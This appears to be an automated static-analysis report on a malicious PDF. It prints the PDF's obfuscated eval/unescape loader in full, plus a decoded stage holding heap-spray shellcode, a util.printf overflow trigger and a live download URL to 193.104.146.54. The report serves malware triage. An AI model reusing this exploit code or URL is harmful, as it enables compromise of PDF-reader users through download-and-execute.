Malicious PDF — malware analysis report

Static analysis result for SHA-256 2084ea46cf8fc250…

MALICIOUS

PDF

2.2 KB First seen: 2026-05-11
MD5: dc9d2deaa47338029b69ec4ed81146a8 SHA-1: d9e83ccdd502a62900a7760bc8039c23aa620274 SHA-256: 2084ea46cf8fc2509ea7fd0e956d3b1fc865307a1f2de390b9c6acb17359192e
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1027 Obfuscated Files or Information

The PDF contains embedded JavaScript, which is heavily obfuscated using eval() and unescape() calls. The ML classifier strongly indicates maliciousness. The obfuscated JavaScript streams, identified as 'javascript_obj111611_000.js' and 'legacy_pdfkit_stage_000.js', are the primary indicators of malicious activity. The script's intent is to download and execute a second-stage payload, a common technique for initial access.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://193.104.146.54/b/l.php?i=5 Referenced by PDF JavaScript
🗂 Part of campaign: 193.104.146.54 8 samples

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x7DC 478 bytes
SHA-256: e7d1232c16a6e584ebcad6ed89ed39659361935894de0b1df6aee2e4fe16ce04
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 2822 bytes
SHA-256: fe42984301071b167ea298277289b1e0001e5421fc351d5d9fcb1de68698b2c5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload = unescape("%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u312f%u3339%u312e%u3430%u312e%u3634%u352e%u2f34%u2f62%u2e6c%u6870%u3f70%u3d69%u0035%u9000");heapblock = nop + payload;bigblock = unescape("%u0A0A%u0A0A");headersize = 20;spray = headersize + heapblock.length;while (bigblock.length < spray){bigblock += bigblock;}fillblock = bigblock.substring(0, spray);block = bigblock.substring(0, bigblock.length - spray);while (block.length + spray < 0x40000){block = block + block + fillblock;}mem = new Array();for (i = 0; i < 1400; i ++ ){mem[i] = block + heapblock;}var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f", num);